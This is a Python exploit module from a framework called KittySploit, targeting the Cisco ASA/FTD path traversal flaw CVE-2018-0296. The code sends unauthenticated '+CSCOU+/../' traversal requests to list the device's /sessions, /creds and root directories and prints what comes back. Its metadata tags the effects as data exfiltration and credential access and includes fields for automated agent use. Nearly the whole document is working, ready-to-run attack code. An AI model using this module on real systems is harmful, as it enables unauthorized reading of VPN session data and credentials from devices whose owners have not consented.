Cisco ASA Path Traversal LFI (CVE-2018-0296)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Cisco ASA/FTD path traversal LFI (CVE-2018-0296)."""

import json

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Cisco ASA Path Traversal LFI (CVE-2018-0296)',
        'description': (
            'Exploits CVE-2018-0296 in Cisco ASA/FTD: directory traversal via +CSCOU+/.. '
            'paths exposes session listings and sensitive files without authentication.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-0296'],
        'platform': Platform.MULTI,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2018-0296'],
        'tags': ['cisco', 'asa', 'ftd', 'vpn', 'lfi', 'kev', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['data_exfiltration', 'credential_access'],
            'expected_requests': 3,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read', 'credentials'],
            'chain': {'suggested_followups': ['scanner/http/cve_2018_0296_detect']},
        },
    }

    list_path = OptString(
        '/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions',
        'Default traversal path',
        required=False,
        advanced=True,
    )
    traverse_path = OptString('/sessions', 'Path parameter for file_list.json', required=False, advanced=True)

    def _list_url(self, remote: str) -> str:
        q = remote if remote.startswith('/') else f'/{remote}'
        return f'/+CSCOU+/../+CSCOE+/files/file_list.json?path={q}'

    def execute(self, remote_path: str) -> str:
        r = self.http_request(method='GET', path=self._list_url(remote_path), allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute(str(self.traverse_path or '/sessions'))
        if '///sessions' in (body or '') or 'files' in (body or '').lower():
            return {'vulnerable': True, 'reason': 'Cisco ASA traversal confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'ASA traversal failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('Cisco ASA not vulnerable')
            return False
        for path in ('/sessions', '/creds', '/'):
            body = self.execute(path)
            if body:
                print_success(f'path={path}')
                try:
                    print_status(json.dumps(json.loads(body), indent=2)[:3000])
                except json.JSONDecodeError:
                    print_status(body[:3000])
        return True